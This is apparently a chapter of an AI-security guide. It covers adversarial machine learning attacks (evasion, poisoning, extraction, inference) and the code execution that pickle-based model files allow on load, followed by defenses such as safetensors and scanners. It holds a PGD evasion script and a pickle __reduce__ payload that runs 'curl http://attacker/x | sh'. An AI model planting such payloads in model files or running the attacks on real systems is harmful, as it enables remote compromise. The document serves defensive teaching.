I.4I · The modelattack
Adversarial machine learning
Adversarial machine learning is the decade of attack research that still governs any classifier in an estate - fraud, malware, vision, biometrics - and underlies the embedding, multimodal, and infrastructure attacks that follow. Five families, each with a worked example.
| Family | Target / asset | Canonical example |
|---|---|---|
| Evasion | Inference-time decision | FGSM/PGD perturbations flip a malware or image classifier (Goodfellow; Madry) |
| Poisoning / backdoor | Training/fine-tune data | BadNets trigger: model behaves until it sees the attacker’s cue (Gu) |
| Extraction | Model IP via API | Rebuild a functional copy from query/response pairs (Tramèr) |
| Membership inference | Training-set privacy | Was this record used to train? (Shokri) |
| Model inversion | Training-data reconstruction | Recover representative faces from a recognition model (Fredrikson) |
The last two rows are one-line summaries, not the whole story: membership inference and model inversion - along with attribute inference and gradient-leakage attacks - are developed in depth in I.3 · Training data, which is where the privacy-attack methodology, threat models, and defenses live.
# pip install adversarial-robustness-toolbox# Authorized use: run only against a model you own or are engaged to test.import numpy as npfrom art.estimators.classification import PyTorchClassifierfrom art.attacks.evasion import ProjectedGradientDescent
classifier = PyTorchClassifier( model=target_model, loss=loss_fn, optimizer=optimizer, input_shape=(3, 224, 224), nb_classes=1000, clip_values=(0.0, 1.0),)
# L-inf PGD: eps=4/255 budget (the ImageNet L-inf standard; CIFAR uses 8/255), 40 iterations.attack = ProjectedGradientDescent( estimator=classifier, norm=np.inf, eps=4/255, eps_step=1/255, max_iter=40, targeted=False,)x_adv = attack.generate(x=x_clean)
print("clean acc:", (classifier.predict(x_clean).argmax(1) == y).mean())print("adv acc:", (classifier.predict(x_adv).argmax(1) == y).mean())# Transfer test: craft on a surrogate, fire at the black-box target (no target gradients needed).# DEFENSE: report accuracy under this exact PGD config; adversarial-train on x_adv;# add input randomization. FGSM-only numbers overstate robustness.That single idea - move along the gradient of the loss - underlies the whole family; stronger attacks (PGD) just iterate it, and transfer means an attacker can craft it on a surrogate model and fire it at yours (II.3 · Jailbreaks & guardrail bypasses covers the text-domain analogue).
Canon
- Goodfellow 2014 - Explaining & Harnessing Adversarial Examples (FGSM) - arXiv:1412.6572
- Madry 2017 - Resistance to Adversarial Attacks (PGD) - arXiv:1706.06083
- Gu 2017 - BadNets - backdoor attacks - arXiv:1708.06733
- Tramèr 2016 - Stealing ML Models via Prediction APIs - USENIX Security
Model files are executable: serialization & deserialization attacks
A trained model ships as a file, and the common formats are not inert data - they run code when loaded. Python’s pickle (used by PyTorch’s torch.load, scikit-learn, and joblib), plus TensorFlow/Keras Lambda layers, TorchScript, and HDF5, all permit executable callbacks during deserialization. Loading an attacker’s model file is therefore arbitrary code execution on the machine that loads it - a supply-chain RCE (remote code execution) that needs no exploit, just model.load(). The pickle RCE primitive has been known since 2011; what changed is that model-sharing hubs turned it into a distribution channel.
# pickle calls __reduce__ on load to reconstruct an object; an attacker# returns a callable + args, and the "reconstruction" runs their code.class Payload: def __reduce__(self): import os return (os.system, ("curl http://attacker/x | sh",)) # runs on torch.load()# Saved into a .bin/.pt/.pkl model, this executes the moment a victim loads it.# DEFENSE: never load untrusted pickle; prefer safetensors (weights only, no code);# PyTorch weights_only=True is the default since v2.6; scan in CI before promotion.This is live, not theoretical. JFrog found a Hugging Face model carrying a silent reverse-shell backdoor in 2024; in February 2025 ReversingLabs disclosed nullifAI, where deliberately “broken” pickle files executed a reverse shell while evading Hugging Face’s picklescan. Protect AI / HiddenLayer hub-scanning reports through 2024-2025 tracked a sharp year-over-year rise in flagged malicious model uploads (see I.5 · The model artifact & its supply chain). Hugging Face scans uploads (ClamAV for malware, picklescan for pickle imports, TruffleHog for secrets) but marks rather than blocks unsafe models - the download-and-run decision is still yours.
Defenses for the model artifact
- Prefer safetensors - it encodes only tensor data, no executable opcodes, so the deserialization-RCE class is designed out.
- Use restricted loaders - PyTorch’s weights-only unpickler (
weights_only=True) is the default from v2.6, refusing arbitrary callables on load. - Scan every third-party model in CI - ModelScan (Protect AI), Fickling (Trail of Bits), and picklescan as a promotion gate before a model reaches a registry.
- Treat model files as untrusted executables - sandbox loading of anything unverified, and require provenance/signing before use (I.5 · The model artifact & its supply chain).
Which formats execute on load - and the safe handling for each:
| Format | Runs code on load? | Safe handling |
|---|---|---|
.safetensors | No | Preferred - tensor data only, no opcode path. Convert to this whenever you can. |
.bin / .pt / .ckpt (pickle) | Yes | pickle RCE on load; pin weights_only=True (PyTorch >= 2.6 default) or convert to safetensors; modelscan + fickling before promotion. |
.h5 (Keras/HDF5) | Yes | Lambda layers run arbitrary Python on load; modelscan flags them; reject Lambda layers or re-export weights-only. |
| GGUF | No | Weights + metadata only, no callback path by design; still verify provenance and use a current loader - the risk here is parser bugs, not opcode execution. |
| joblib | Yes | joblib.load is pickle underneath - same RCE; scan and sandbox, prefer a non-pickle format. |
# The checklist item made concrete: torch.load() lines that never pin weights_only=True.rg -n 'torch\.load\(' -g '*.py' | rg -v 'weights_only'
# Pre-load gate: scan the artifact BEFORE any load() touches it, not only in CI.modelscan -p ./models/candidate.bin # non-zero exit == executable opcodes; do not load# Fail the pipeline if any third-party artifact carries executable opcodes.pip install modelscan fickling
# 1) modelscan (Protect AI) - flags os.system, exec, GLOBAL imports in pickle/H5/Keras.modelscan -p ./models/ --show-skipped# exit non-zero on findings; -r json emits a machine-readable report for the gate:modelscan -p ./models/candidate.pt -r json -o modelscan-report.json
# 2) fickling (Trail of Bits) - static analysis / safety check of a single pickle.fickling --check-safety ./models/candidate.pklfickling --trace ./models/candidate.pkl # dump the opcode stream to inspect __reduce__
# 3) Prefer the format that removes the code path entirely - convert to safetensors:python -c "from safetensors.torch import save_file; import torch; \ save_file(torch.load('candidate.pt', weights_only=True), 'candidate.safetensors')"
# NOTE: picklescan is denylist-based; the nullifAI models (Feb 2025) evaded it by 7z-wrapping# the pickle so it wasn't auto-detected. Run modelscan AND fickling, never picklescan alone.Sources
- ReversingLabs 2025 - nullifAI - malicious models evading picklescan - reversinglabs.com, Feb 2025
- JFrog 2024 - Malicious HF model, silent backdoor - jfrog.com
- PyTorch / HF - weights-only unpickler (default v2.6+); safetensors - safe model format